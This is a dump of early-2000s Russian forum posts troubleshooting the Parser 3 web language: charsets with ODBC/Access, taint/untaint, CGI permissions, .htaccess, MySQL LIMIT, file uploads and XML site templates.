Вопрос: в какой части цепочки access, odbc, parser, browser надо искать причину этой проблемы?\
\
Charset файлы существуют и в верном каталоге /cgi-bin/charsets\
from parser3.conf\
------------------\
$request:charset[windows-1257]\
$response:charset[windows-1257]\
-----------------\
parser 3.005\
ODBC 4.00.620\
Apache 1.3.26\
brower: Opera 6.05.\
"
"5900","сделан специально для этого.\
См. http://www.parser.ru/docs/lang/tablesql.htm\
\
Кстати, что значит \"последние записи\" ?\
Надо бы сортировать их предварительно ..."
"5902","Предполагается, что существует функция ^error404page[]. ;-)\
\
P. S. RegExp \"\\x3f\" -- \"\\?\". :-)\
\
[code]\
@unhandled_exception[exception;stack]\
#next line added by Constantine. \
^if((\"$exception.type\" eq \"file.missing\") && (def $exception.source) && (^exception.source.match[$request:uri][] || ^exception.source.match[^request:uri.match[(.+)\\x3f.*][]{?$match.1}][])){^error404page[]}{\
\
^unhandled_exception_debug[$exception;$stack]\
\
#next line added by Constantine. \
}\
[/code]"
"5903","Что-то не получается с untaint:\
\
^untaint[uri]{^taint[uri][Тест]}\
\
получаем %D2%E5%F1%F2\
\
Насколько я понял, должно быть \"Тест\" ?\
\
---\
Дмитрий\
"
"5905","Что-то я неправильно наверное понял.\
taint и untaint это не противоположные функции ?\
\
---\
Дмитрий\
"
"5906","Необходимо получить из строки переданной в html параметром:\
\
делаем ссылку <a href=test.html?^taint[uri][тест 1]>Тест 1</a>\
\
в test.html через $request:query получим:\
\
%D2%E5%F1%F2+1 \
\
Как из этого получить оригинальный \"Тест 1\" ?\
"
"5907","Во-первых надо сделать так:\
[code]\
<a href=test.html?param=^taint[uri][тест 1]>Тест 1</a>\
[/code]\
Во-вторых получается это через $form:param\
\
И в третьих Дмитрий прочитай внимательно локументацию по HTML и парсер."
"5908","Это все понятно, то что можно сделать средствами Parser'а, то об этом довольно ясно написано в документации. Тут же вопрос был про mySQL. Так что ... :-))"
"5913","вы проверяете наличие файла auto.p на нужном месте, в него и надо было внести ошибку, которую вы должны были увидеть."
"5914","когда они совпадают, перекодирования не происходит, таблицы для перекодирования не нужны = ошибки нет.\
\
это другое дело, что они равны UTF-8, и при отсутствии конфигурационного метода то, что работает с регистром и классом букв, не работает. [^string.lower,  ^match[][i]..]"
"5915","1. что представляется некорректным?\
2. что в view/source?\
3. когда у parser совпадают request/response кодировки, он не выполняет перекодирования, и содержимое файлов перекодирования несущественно.\
"
"5916","Да я и туда вносил... но выдает все туже ошибку\
\"'main' method not found  type: parser.runtime\"\
"
"5917",">>1. что представляется некорректным?\
\
Символ (в Character Map фонт Arial, Character set:Windows Baltic, keystroke: ALT-0193 - Latin Capital Letter I With Ogonek) заменятеся на просто \"I\". Символ \"e\" с точкой посередине на верху заменяется на \"e\".\
\
>>2. что в view/source?\
\
Один к одному, что выводит на экран.\
\
ps. Символы из extended char (ASCII 128-255) отображает корректно.\
A русские символы отображает ввиде вопроса.\
\
"
"5918","Не могу установкить. Перерыл весь форум - вроде так и делаю, делал по инструкции. Ставил и как модуль и как скрипт - не пашет, молча выдает страницу, как будто это не команды, а текст обычный. Помгите плиз."
"5919","Спасибо за ссылку(тут я еще не читал), узнал довольно много интересного... Сенкс еще раз!"
"5920","[ожидал ровно этого]\
вам это ни о чём не говорит? [в файле ошибка, а о ней ни слова]\
\
куда он был помещён? \
какой группе принадлежит?\
какое у него имя?"
"5921","интересно, как у вас смешались русские буквы и балтийские буквы?\
кодировка базы, как я понял, windows-1257, в ней русских букв лежать не может.\
\
подозрение: ваша база хранит буквы в unicode, а вы так настроили odbc datasource, что он отдаёт вам код в ansi кодировке, что приводит к забавному перекодированию в odbc драйвере.\
\
диагноз: проверьте настройки odbc. и решите для себя, какая же кодировка у вас $request:charset [она должна совпадать с кодировкой букв из sql сервера]"
"5922","Проблемма собственно говоря в заголовке - это сообщение выдается при обращении, хотя устанавливалось все по описанию, затем был прочитан топик в этом форуме с описанием подобной проблемы, но я связался с провайдерами (Зенон) и служба тех поддрежки сказала что все выполняется от одной группы и что проблем с этим не может быть, тут может помимо групп какие подводные камни есть? может уже кто нибудь сталкивался? заранее спасибо."
"5923","очевидно, вы вносите директивы в .htaccess файл, который ваш веб-сервер тихо игнорирует.\
\
простое решение: вносите их в httpd.conf\
хотя можно и разрешить обработку .htaccess [см. доку по apache]"
"5924","можно понять по-разному.\
вполне можно понять так: на всех виртуальных серверах все cgi скрипты работают от одной и той же группы, у них всех группа, от имени которой они работают совпадает.\
что неправильно.\
\
что должно быть: группа, от имени которой запущен скрипт должна совпадать с группой файлов, которые предполагается считывать/запускать parser'ом."
"5925","служба тех поддержки сказала, что скрипты запускаются от моего же имени, то есть от имени того кто закачивал файлы и скрипта  и те файлы которые предполагается выполнять, это не то что требуется для коректной работы?\
может быть проблема в другом и мне другие слова надо говорить службе тех поддержки?"
"5926","Есть в переменной значинее %0D%0A, оно при обработки Парсером формы сразу меняеться на символы перебрасывания на новую строчку.\
Подскажите как мне эти значения поменять на <BR>???\
\
квк правильно прописать это в replace или в другом методе, чтобы значения менялись...\
\
Спасибо."
"5927","от какого имени[пользователя] запускается не так важно, сколько важно от какой группы.\
\
можно не мучать службу поддержки, страдая от непонимания, а посмотреть самому.\
\
создайте тривиальный CGI скрипт на любом любимом языке, который создаст файлик.\
\
обратитесь к этому скрипту по HTTP.\
посмотрите, какой группе принадлежит создавшийся файлик.\
\
все файлы на сайте должны принадлежать ей же."
"5928","Нет, .htaccess работает - точно. Я и делал при помощи httpd.conf, но что-то не то. Ума не приложу, все эксперементирую, но он все тихо игнорирует, аже ошибок не выдает."
"5929","стремясь разобраться в ситуации, еще раз уточнил у супорта по поводу групп, они еще раз подтвердили что все файлы на сайте принадлежат одной групее и другой группы не существует впринципе, так же они предложили удостоверится мне в этом через unix shell, на самом деле, просто если проблема не в разных группах, то не могу понять в чем дело, может все таки могли бы посоветовать что нибудь более менее конструктивное..."
"5930","владимир, принадлежность файла группе не означает, что процесс с ним принадлежит этой же группе.\
это настройка веб-сервера.\
\
что даёт предлагавшийся тест?"
"5931","Это вопрос так для общего развития...\
Просто я знаю, что cgi скрипты запускаються как отдельный процесс, т.е. если на сервер пришло одновременно 100 человек мы получим 100 индивидуальных процессов, с выделением памяти для каждого что не очень то радует.\
Я так же знаю, ISAPI модули под IIS используються как динамические библиотеки, т.е. являються частья сервера и из них вызываються функции только когда нужно...\
В случае с Apache и подулючения Parser'a как модуль, это тоже самое как и с ISAPI?"
"5932","У меня в корне, index.html пустой, но в auto.p корня есть метод @main[] \
^header[]\
^body[]\
^footer[]\
\
если написать в index.html этот самый @main[] \
^header[]\
^body[]\
^footer[]\
,то всё работает, но ведь так не должно быть, если даже на странице ничего нет то должен вызыватся этот самый @main[] из auto.p "
"5936","Да, я дал не верную информацию, по неразумению. База в unicode (или в чем она там есть по умолчанию, идут паралельно и кирилица, и балтийские языки) и получается, что вопрос в настройках odbc drivera, но сколько их я не копал, нужных настроек не нашел. Как получить ответ в UTF-8? Но это вопрос уже не для этого форума. Хотя решению проблемы был бы очень рад."
"5937","Sumo, thanks огромный!!!\
Есть ещё проблема, хочу от тестить парсер на бесплатном хостинге h1.ru.\
Я скачал парсер для FreeBSD, он был в tar архиве, ну я его разврнул получился файл на полтора мега, захожу по фтп на хостинг, пытаюсь залить. а он больше 0.5 мега не заливает. \
я вот думаю, может его в таре залить а потом разархивировать через шелл, только как это сделать из под шел я понятия не имею т.к. с юниксами не общался... пожет у кого был подобный случай?"
"5939","Это не прозьба помоч, я хочу поделиться как я настраивал Парсер на серверной площадке http://eurohoster.net/,\
1. У них стоит Red Hat 7.2 я скачал соответствующий\
модуль парсера и залил на сервер, файл конфигурации сайта я не трогал вообще. Залил драйвер БД под MySQL.\
Залил сайт (http://www.net-fraud.com/), набрал в броузере адресс и получил 500,\
в логах выкопал, что нехватает libmysqlclient.so.\
После чтения форума, я методом поиска(filesearch.ru)\
нашел и залил этот файл, и все заработало.\
2. Так же надо отдать должное службе поддержки http://eurohoster.net/, они мне отвечали максимум через 10 мин., после каждого моего вопроса.\
3. Так же мое стороннее наблюдение, не надо по мелочам писать в форум, думайте и читайте документацию, только так Вы научитесь писать сайты на парсере.\
А парсер замечательный язык, в начале перехода с 2 версии на 3, я подумал зачем было портить так язык,\
но разобравшись в концепции и синтаксисе языка, мне друго уже не надо.\
И еще кто ищет хостинг для своих проектов рекомендую   http://eurohoster.net/, цены низкие, качество высокое. "
"5940","Если файловая система NTFS, то можно попробовать поставить запрет на чтение для пользователя, от которого забускаются скрипты и происходит чтение файлов."
"5941","Раньше этот тест создал бы файлик с группой nobody, а сейчас создается файл с такой же группой, как и все остальные файлы на сайте -- она совпадает с именем аккаунта. (Все происходит на Зеноне, конечно.)"
"5942","Есть немного извращенная задача: \
парсером посреди страницы вызывается ^file::cgi[stuff.pl], который делает некие действия и результатом должен сформировать плюшку. Из скрипта она не ставится, но судя по документации, есть возможность передать любые заголовки обратно в парсер и дальше делать с ними что угодно. Мне показалось, что вполне достаточно вывести заголовок print \"super:puper\\n\"; , подхватить его в $my_cgi.SUPER и поставить плюху - но не тут-то было! $my_cgi.SUPER оказывается пуст. Более того, $my_cgi.content-type тоже пуст - шо за чудеса?! \
\
Вот такая проблема... :("
"5945","Результатом работы скрипта является только формулирование значений cookie, а контент выводится парсером, поэтому в моей задаче :body совершенно не годится.\
\
Я уме совсем измучался. Чувство такое, что где-то есть бредовая ошибка, которая все поганит. Сделал вот такой test.cgi:\
\
# --- %< -----------------------------\
\
#!/usr/bin/perl\
\
print \"field:1\\n\";\
print \"content-type: text/html\\n\";\
print \"\\n\";\
\
print \"<p>done</p>\\n\";\
\
# --- %< -----------------------------\
\
А затем вот такой test.html\
\
# --- %< -----------------\
\
@content[]\
$f[^file::cgi[/../cgi-bin/test.cgi]]\
$f.text\
\
<p>-- <br />\
$f.status\
$f.size\
$f.FIELD\
$f.content-type\
--</p>\
\
# --- %< -----------------------------\
\
^content[] вызывается из auto.p\
\
В результате имею: прочий контент, который пишет auto.p,\
слово \"done\" из скрипта,\
0 - поле status\
12 - поле size\
остальные поля не отображаются.\
\
Что не так?"
"5950","Попробовал - не получилось. Заголовки приходят, если пускать из адресной строки, но парсер их не понимает.\
\
Можешь пока пользовать ^file::exec - отдавать текст состоящий из пар \"имя-значение\", а пришедший $f.text парсить и пихать куки."
"5953","Попытался разобраться с пользовательскими классами на примере \
gbook.p . Пример переписал один в один.\
\
в файле book.html написал так:\
\
@USE\
/classes/gbook.p\
\
@body_main[] \
Гостевая книга тестового сайта<br> \
<hr> \
\
$gb[^gbook::load[]] \
^gb.show_messages[] \
^gb.show_form[] \
^gb.test_and_post_message[] \
\
На что парсер выдает ошибку :\
\
/class/gbook.p(4:1): 'CLASS ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE' [parser.compile]"
"5954","Матчу текст на предмет замены набора символов вида [b] на <b> (в ^parse_text[...]), переводов строк на <br /> и <p />.\
\
@printDocumentXML[document][buffer]\
$result[<article date=\"$document.date\">\
	<title>$document.title</title>\
	$buffer[^taint[html][$document.body]]\
	$buffer[^buffer.match[\\n\\n][g]{<p />}]\
	$buffer[^buffer.match[\\n][g]{<br />}]\
	$buffer[^parse_text[$buffer]]\
	<body><![CDATA[$buffer]]></body>\
</article>]\
\
1. $sourceDoc[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>^MAIN:pDocument.printDocumentXML[$document]}]\
2. $transformedDoc[^sourceDoc.transform[documents.xsl]]\
3. ^transformedDoc.string[$.method[html]]\
\
и получаю html код с &gt и &lt. Ну почему парсер считает мои теги грязными? из ^MAIN:pDocument.printDocumentXML[$document] приходят вполне <p> и <br>.\
\
Где собака зарыта?"
"5956","Я так понял парсер чуствителен к пробелам при написании?"
"5957","примеры чувствительности\
[code]\
@CLASS_ (USE/BASE)\
^if_()\
^if()_{}\
^if(){}_{}\
[/code]"
"5958","Подскажите, пожалуйста.\
\
Как работать с индексами.\
Допустим, в таблице articles есть поле description TEXT, где храняся статьи. Журналов много, статей много.\
Всё тормозит.\
Мне на входной странице нужны только названия статей.\
\
Допустим, я создаю на таблице индексы\
\
^sql[create index articles_indx1 on articles(id)]\
^sql[create index articles_indx2 on articles(journal_id)]\
^sql[create index articles_indx3 on articles(name)]\
\
Что это даёт? И как теперь обращаться к таблице, чтобы использовать индексы?\
\
\
\
Что это"
"5959","При выборке из базы данных(MySQL) при заданных\
параметрах limit 5, 10 выдается 7 сообщений, а не 5.\
Опробовано на разных машинах, правда система Windows,\
на разных версиях Парсера. Есть подозрение, что на других языках тоже."
"5961","$a[^table::sql{select * from a HAVING i='$form:i' order by 'date' desc limit 5,10}]\
\
Вот пример дает 7 сообщений"
"5962","Дает 7 записей с 6 по 12, вот такое кино. "
"5963","1. В таблице точно имеется 15 записей?\
2. Что происходит, если написать следующее\
$a[^table::sql{select * from a HAVING i='$form:i' order by date desc}[$.limit(10) $.offset(5)]]\
\
p.s. Очень рекомендую почитать вот это: http://www.parser.ru/examples/comp/"
"5964","1. В таблице точно имеется 15 записей?\
Да\
2. Что происходит, если написать следующее\
$a[^table::sql{select * from a HAVING i='$form:i' order by date desc}[$.limit(10) $.offset(5)]]\
именно так я и выличил это, но мне просто интересно кто с этим еще встречался, и что это баг MySQL?"
"5965","Только что проверил на реальном сервере (правда под FreeBSD). Все работает и в одном и в другом варианте. Диагноз один - проверяй запрос."
"5966","Да, парсер в руках мастера - творит чудеса!"
"5967","Вот тут возникла проблема. Как сделать так, что бы при закачке на сервер нового файла (картинки), на него автматически бы выставляласть ссылка в *.html (без ручного форматирования)?"
"5968","можно лишь создать новый файл хтмл со ссылкой на картинку"
"5969","индексы используются для быстрого поиска в таблице. ты должен сделать те поля индексами, по которым будешь часто делать поиск. обращаться - обычным способом. а \"использовать\" их - никак."
"5970","Есть ли способ сделать entities при помощи Parser (в крайнем случае - Perl/C)?\
\
Кроме того интересует, как другие решают эту проблему.\
\
То, что entities - криво мне понятно. Но во-первых все ж так делают, во-вторых XML-парсеры в телефонах отказываются понимать <?xml encoding=\"windows-1251\"?>."
"5971","У меня была такая же проблема: надо было вывести на страницу названия статей, я просто добавил еще 2 поля(короткое название и раздел)и спокойно вывожу только \"short name\", выбирая те, которые относятся к данному разделу."
"5973","ему ведь нужно вставлять ссылку в _статичный_ html"
"5974","...не ковырнул мозгой, перепахал мануал, и не переписал весь код, формирующий плюху на Parser. ;)"
"5975","а на странице создать метод который будет выбирать ссылки из базы на картинки и будет вставлять их в страницу, \
правда кажеться он хотел ни этого, тогда на сервере создаём напрмер каталог photos в него то и аплоудим файлы, хоть через форму, хоть через FTP, не важно, потом пользуемся следующим\
$list[^file:list[/photos;\\.jpg^$]] \
^list.menu{ \
 <img src=\"/photos/$list.name\" /> <br> \
} \
 \
ну вот и будут у тебя на странице все твои картинке, которые в этом каталоге...."
"5976","У меня выводятся \"уши\"(псевдо рандомом, их я на странице не заявлял, скрипт сам берет из таблицы их названия, alt`ы и линки к ним) и также скриптом вставляются фотографии к новостям(при вводе новости было добавлено еще одно \"окошко\" для выбора фотки и при аплоаде всего этого в таблицу с новостями пишется название фотки и ее \"alt\")"
"5977","хочу показать в меню на какой странице сейчас чел - слегка сменить написание пункта меню.\
пишу такой код:\
[code]\
...\
^if($request:uri eq $nav.url){\
<td bgcolor=#1F93B6 valign=middle>\
 <span class=mv>$nav.title</span>\
</td>\
}{\
<td bgcolor=#1F93B6 valign=middle>\
 <a href=$nav.url class=m>$nav.title</a>\
</td>\
}\
...\
[/code]\
показалось слишком громоздким ;)\
написал так:\
[code]\
^nav.menu{\
^if($request:uri eq $nav.url){\
$styl[mv]\
}{\
$styl[m]\
}\
...\
<td bgcolor=#1F93B6 valign=middle>\
 <a href=$nav.url class=$styl>$nav.title</a>\
</td>\
[/code]\
и нифига %(\
при клике вместо прописанного в styles.css класса .mv ссылка вообще оформлена по дефаульту\
\
P.S.: я знаю, что выводить ссылку на страницу на которой сидишь - плохо. ;)"
"5978","что вы ерунду объясняете?"
"5979","<a href=$nav.url class=^if($request:uri eq $nav.url){\"current\"}{\"other\"}>$nav.title</a>\
"
"5980","Если при закачке рисунка нужна новая страница HTML\
то это просто:\
@main[]\
<form method=\"post\" enctype=\"multipart/form-data\">\
<input name=\"img\" type=\"file\" class=bt1><br>\
jgbcfyb<input type=text name=alt>\
<input class=bt1 type=submit value=Upload name=post>\
</form>\
^if(def $form:post){\
^if(def $form:img && \
def $form:alt){\
^form:img.save[binary;./image/${form:img.name}] \
$html[<img src=./image/${form:img.name} alt=${form:alt}>]\
^html.save[/name.html]\
}\
}{\
error\
}\
\
Возможны мелкие ошибки, но эта конструкция рабочая, я ее проверял. Впрочем она сдесь для идеи, и ее можно развить до того, что бы она сответствовала Вашему вопросу."
"5982","Дока по MySQL:\
7.12 SELECT syntax\
...\
[LIMIT [offset,] rows]\
...\
\
Т.е. указаный запрос (limit 5,10) должен вернуть не более 10 записей, пропустив 5 первых...\
Ну не находит 10 и выдает 7. Что не так-то?\
"
"5984","И вообще, тут парсерный форум, поэтому мне почему-то кажется, что этот html не статический.\
\
Luzhnikovskiy верную дорогу показал... :)"
"5988","...a pochemu bi ne sdelat` na sajte parser otdel`nij razdel, posviaschennij ustanovke parser na razlichnie besplatnie hostingi?\
\
Respect, A. Ushakov aka Beckett"
"5989","okay это не статический файл :-) тогда вопрос получается слишком простой :-("
"5990","однако предварительно надо заменить все переводы строк до преобразования на что-нибудь уникальное, чтобы их при трасформе не похерило, ну а затем это что-нибудь матчить в <br> и <p>"
"5991","ведь бесплатных хостингов где разрешено пускать свои CGI раз два и обчелся. И в один прекрасный момент, хостер, пересмотрев взгляды на жизнь скажет - давай денег, иначе никаких тебе своих CGI. Вообщем по-моему писать об установке на бесплатных хостигах дело бесполезное."
"5992","Ну да все происходит на Зеноне - на самом деле пока мы не перешли на тариф проф. и не пересобрали cgi`ник у нас так ничего и не заработало..."
"5993","Предлагаю вашему вниманию новый проект:\
-------------------------\
http://www.nbsp.ru\
[b]nbsp :: журнал для вебмастеров[/b]\
[i]новости интернет-технологий для дизайнеров и программистов[/i]\
-------------------------\
Желающих стать авторами прошу обращаться по адресу mailto:author@nbsp.ru\
\
[b]Powered by Parser[/b].\
\
Сергей Яценко, веб-разработчик\
http://www.design-n1.com"
"5996","ну а вообще опять реклама, тут Лужниковский пару дней назад на эту тему выразился."
"5997","Я всего-лишь хочу показать, что можно делать Parser-ом. К тому же, это не каждый день, и даже месяц, бывает."
"5998","он по диагонали от Форума в навигации. Надо написать письмо на mailbox@parser.ru ну и если это на парсере 3 то там линк разместят"
"6000","После добавления моего мнения к новости про GoLive 6.0.1 не смог выбраться в корень сайта., ссылка на главную страницу сайта стоит внизу, но много ли людей будут ее там искать?"
"6001","Необходимость этого давно назрела и неоднократно обсуждалась в среде разработчиков парсера/форума. И будут не только бесплатные, но и \"сертифицированные\" платные. Такой раздел - дело времени (какого - точно сказать не могу).\
\
Пока могу предложить всем (в очередной раз) присылать мне почтой полную информацию о хостингах (любых - платных и бесплатных), на которых удалось установить и запустить парсер. Писать все, что делалось для установки (какие файлы куда копировались, какие изменения делались в конфигах, какие были проблумы и как были решены) и полную инфу о хостинге (адрес, название, ОС, версии софта).\
\
И помните, без вашей помощи создать такой раздел невозможно - у нас нет ни времени ни возможностей лазить по всяким хостингам и ставить там парсер.\
\
Заранее спасибо."
"6002","господа - подскажите, как мне вызвать скрпит через ^file::cgi из каталога, находяшегося выше?\
например из /cgi-bin/.\
^file::cgi[/cgi-bin/script.pl]] ругается, что не видит ничего в /public_html//cgi-bin/script.pl :) ну и всё в таком духе.\
как бы поглубже-то \"копнуть\"? ;)"
"6005","теперь ищет в /public_html//../cgi-bin/script.pl\
\
у меня такое впечатление, что я упускаю какую-то мелочь ;)\
вот что у меня в коде:\
[code]$cgi_file[^file::cgi[/../cgi-bin/script.pl]][/code]\
\
"
"6006","так можно будет сидя с чашечкой кофе изредка поглядывать на экран в поисках новых тем ;)"
"6007","лучше сделать список тредов в iframe  - а уж его обновлять. А то всю страницу рефрешить как-то не кошерно. :)"
"6009","где, объясните глупому, он прописыватеся? :)\
дык надо значит его в каталог основной кинуть, т.е. на ступеньку выше?"
"6010","тут же страницы не очень тяжелые - пущай вся рефрешится... тут делов-то - строчку вставить. ну можно вообпсче по желанию. хочешь? держи пирожок! не хочешь? всё равно держи, но он пустой :)"
"6011","$env:DOCUMENT_ROOT"
"6012","а как его выше-то направить?\
хотя бы скажите, что копать - апач или парсеровские конфиги?"
"6013","Давай по- нормальному: структура каталогов + DOCUMENT_ROOT с точностью дл символа.\
Иначе никто тебе ничего не скажет."
"6014","/home/starkie/www/www.site.ru/publuc_html - это documenet_root.\
структура:\
/home/starkie/www/www.site.ru/public_html/\
/home/starkie/www/www.site.ru/cgi-bin/\
ну, вроде бы всё (?)...\
\
у меня есть подозрения, что что-то неверно в настройках апача.\
где можно почитать про этот самый document_root? дело в том, что\
серверные настройки я не очень хорошо знаю :) так, верстка/программирование... ;)"
"6015","^file::cgi[/../cgi-bin/script.pl]]"
"6016","спасибо всем."
"6017","Недавно начал ставить эксперимент по хранению структуры сайта в одном файле XML, который выглядит примерно так :\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<site>\
<page name=\"/\" scheme=\"left_right_middle\">\
        <left>\
                <block name=\"leftmenu\"/>\
        </left>\
        <middle>\
                <security access=\"user\">\
                        <block name=\"forum\"/>\
                </security>\
        </middle>\
        <right>\
                <block name=\"content\"/>\
        </right>\
</page>\
<page name=\"/test/\" scheme=\"left_right\">\
        <left>\
                <block name=\"leftmenu\"></block>\
        </left>\
        <right>\
                <security>\
                        <block name=\"content\"></block>\
                </security>\
        </right>\
</page>\
\
<page name=\"/news/\" scheme=\"left_right\">\
<process>\
        ^auth:process[]\
</process>\
        <left>\
                <block name=\"leftmenu\"></block>\
                <block name=\"auth\"></block>\
        </left>\
        <right>\
                <block name=\"news\"></block>\
        </right>\
</page>\
</site>  \
\
[/code]\
\
<page> - страница, scheme - схема страницы (left,right,middle)\
<block name=\"auth\"></block> - блок авторизации\
<block name=\"forum\"/> - форум\
<block name=\"content\"/> - блок текста из базы (fetch по url)\
<security>...</security> - блок, доступный авторизированным\
пользователям.\
<process>...</process> - блок обработки данных (задачи типа\
авторизации) и т.д.\
\
Что позволяет в перспективе сделать \"редактор сайта\", простой\
даже для любого пользователя. Все что нужно - поменять блоки местами, добавить новые и т.д.\
\
Все через mod_rewrite, а в transform передается часть uri.\
\
Все в конечном итоге обрабатывается 2 трансформа.\
Первый - проход по блокам, формирование парсер-кода, потом\
^process[...] по сформированному коду.\
И второй проход - формирование дизайна страницы (шапку, ноги и т.д.)\
\
Все это есть уже в рабочем состоянии. Правда, есть неудобства, что все оформление ведется в xhtml, и переработка старого дизайна под новый - утомительная задача.\
\
Какие есть мысли, идеи, предложения ?\
\
P.S. А вот MS .NET по поводу моего XML сказала :\
The same table(block) cannot be child table in two nested relations,\
 что наталкивает на мысль о неправильности структуры, хотя все well-formed."
"6018","Используй Opera, там можно поставить то что тебе надо на любой странице любого сайта )))"
"6019","Спасибо, благодоря Вам я разобрался."
"6020","проблема на лицо -- задаём переменную $f.field, а пытаемся получить $f.FIELD. Парсер является case-sensitive. :-) RTFM! :-)"
"6021","есть templates.htm в котором блоки-процедуры\
@header[var]\
... выводим переменные $var \
html\
\
и есть page.p - в котором расписаны страницы:\
\
@newsPage[]\
^header[$var]\
^news[]\
^footer\
\
согласись это ГОРАЗДО проще. чистый текст. никаких XML тегов.\
"
"6022","с XML получается более универсальней и пригодней к повторному использованию кода. Кроме того, всё-таки лучше разделить содержание и оформление, а XML подходит для этого как нельзя лучше. И напоследок цитата из документации:\
[quote]\
Представьте, что вам позволено придумывать любые теги с любыми атрибутами. То есть вы сами можете определять, что означает тот или иной выдуманный вами тег или атрибут. Такой код будет содержать данные, ...\
\
…но не их форматирование. Подготовкой данных может заняться один человек, а форматированием другой. Им достаточно договориться об используемых тегах и можно приступать к работе… одновременно. \
\
Идея эта не нова, существовали многочисленные библиотеки обработки шаблонов, а многие создавали собственные. Библиотеки были несовместимы между собой, зависели от используемых средств скриптования, порождая разобщенность разработчиков и необходимость тратить силы на изучение очередной библиотеки вместо того, чтобы заняться делом. \
[/quote]"
"6023","[quot]\
Представьте, что вам позволено придумывать любые теги с любыми атрибутами. То есть вы сами можете определять, что означает тот или иной выдуманный вами тег или атрибут. Такой код будет содержать данные, ...\
[/quot]\
\
Да... Представляю, что могут некоторые напридумывать %-)\
\
[quot]…но не их форматирование. Подготовкой данных может заняться один человек, а форматированием другой. Им достаточно договориться об используемых тегах и можно приступать к работе… одновременно.\
[/quot]\
\
Угу, один придумывает новые теги а другой жутко матертиться, т.к. считает что первый придумал глупости. :) \
\
Я ЗА xml/xsl, но чтобы им пользоваться нужно этому тоже учиться :)\
И у всех решений есть области применения, где от них получается максимальная польза.\
Мне не кажется, что на примитивных сайтиках (хоть и динамических) из 5-10 страниц всегда оправдано применение xml/xsl.\
\
:)"
"6024","а учиться нужно всему и всегда, с этим никто не спорит."
"6026","найден одним из первых, исправлен.\
для тех, кто не хочет ждать выпуска бинарников: в cvs."
"6027","т.е. parser+XML. Данное сочетание и есть \"лучшее\". Хорошее есть просто parser. Я хочу сказать что parser+XML не враг parser. Или я не прав? Просьба крайние случаи не учитывать, крайние - это сайт из 2 страниц, два разработчика не могут договориться, ну и всё в таком духе."
"6028","1. не думайте, что в buffer лежит $document.body с заменёнными значками. проверить можно ^buffer.save[куда.нибудь]\
2. не нужно делать никаких taint, по-умолчанию xdoc::create сделает untaint[xml]{...}.\
3. если $document.body вы достали из базы, и доверяете ему, и не хотите, чтобы parser заменил < на &lt;, выразите своё доверие:\
[code]\
$buffer[^untaint[as-is]{$document.body}]\
[/code]"
"6030","1.\
вообще-то utf-8 вывод должен работать всегда. проверьте ещё раз.\
[code]\
$response:charset[UTF-8]\
[/code]\
как знаете, эти буквы не попадают в телефон, по дороге они упаковываются промежуточным софтом, между веб-сервером и эфиром.\
\
2.\
если настаиваете на желаемом:\
[code]\
$request:charset[UTF-8]\
$response:charset[empty]\
[/code]\
при этом организуйте, чтобы empty соответствовал файлу без описаний букв.\
\
parser начнёт из utf-8 преобразовывать, ни одной буквы[за пределами ascii] не найдёт, и выведет, что хотите."
"6031","Ознакомьтесь с соответствующим разделом мануала. Тем про upper case сказано очень четко."
"6032","Пишет все время ошибку 500???\
"
"6033","Берем сайт: http://www.egoroff.spb.ru/ который как указано живет на тарифном плане с 1 mb...\
Как там умещается парсер с поддержкой xml, который весит на ~ 300 Kb больше? :)\
\
Я бы для подобного сайта не использовал связку xml/xsl [не знаю, используется-ли она там] (как не использовал бы ее и на http://parser.ru/ %-) шутка )\
\
Т.е. parser+XML не всегда лучше чем просто parser :)\
\
P.S. анекдот \"-А поговорить?\" надеюсь все знают :)))"
"6034","есть задачка - хочу сменить фотку к заметке\
даю старую картинку и даю форму\
<input type=file name=new_img>\
в форме стоит экшн на другой файл, чтоб можно было просмотреть результат замены и только потом \"сабмитить\" - вот из второго файла вместо имени фотки пишется::\
pict='[upload field 'image' to '(no file)' failed: field is not of file type/wrong method/enctype]'\
вроде в форме сказал::\
<FORM METHOD=POST ENCTYPE=\"MULTIPART/FORM-DATA\">\
в чем трабла?"
"6036","я же не сказал [i]всегда лучше[/i] я сказал [i]не враг[/i]."
"6038","Преимущество приведенного выше метода - \
построение сайта с минимумом переделок (в xsl только дизайн блоков). Да еще и возможность создания \"конструктора\" сайта, где сможет любой построить из блоков структуру.\
XML можно править весьма разными способами, в т.ч. и \"оффлайн\" (прогой)."
"6039","расследование показало, что у odbc драйвера к msaccess нет соответствующей настройки. ни атрибута строки соединения, ни SQLSetConnectAttr( SQL_ATTR_TRANSLATE_LIB/...OPTION).\
и добрые люди безусловно перекодируют unicode->ansi.\
\
диагноз: в идеальном варианте нужно написать/использовать OLE DB драйвер к Parser. там всё unicode.\
\
обходной путь: если писать в базу из parser, установив $request:charset[utf-8], то в базу попадут байты, которые можно потом успешно считать. access даже, по-идее, их правильно отсортирует. \
недостаток: в самом access он с ними работать не сможет."
"6040","1. Ты закачиваешь скрипт в ASCII режиме, а надо в binary\
\
2. Ты ставишь неправильные права доступа для скрипта.\
\
Что говорит журнал ошибок?"
"6041","а вот про офлайн прогу не согласен. XML должен формироваться парсером не лету и естественно никакая прога тут в него не влезет.\
\
Если нет, то нафиг вообще тогда парсер нужен? Сделай статический XML преобразуй его любым процессором в HTML и на сервере храни в HTML - производительность вырастет в разы."
"6042","Сначала писал:\
[Tue Sep  3 13:14:13 2002] [alert] [client 195.239.5.113] /pub/home/aliss/kiseljov/.htaccess: order takes one argument, 'allow,deny', 'deny,allow', or 'mutual-failure'\
\
Я в htaccess поменял 'allow,deny' на 'deny,allow' и он начал писать:\
/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table\
[Tue Sep  3 13:21:38 2002] [error] [client 195.239.5.113] Premature end of script headers: /pub/home/aliss/kiseljov/cgi-bin/parser3.cgi\
\
Права я ставлю 755.\
\
А на счет режима закачки я даже не знаю как там CuteFTP закачивает.\
\
А какие права правильно указывать, и правда что на этом хостинге работает только какая-то не доработаная версия Parser3 и в чем её опасность?"
"6043","и все равно ошибка 500 - вот так-то"
"6044","ты закачал скрипт в ASCII режиме (Premature end of script headers) поменяй его на binary.\
[quote]\
А на счет режима закачки я даже не знаю как там CuteFTP закачивает\
[/quote]\
надо знать"
"6046","Кто сказал, что XML должен обязательно генериться \"на лету\" ?\
\
Хм. Данными XML может быть все, что угодно.\
У меня, к примеру, в статическом XML храниться структура сайта, а что мешает его(XML) использовать в форуме, новостях, контенте ?\
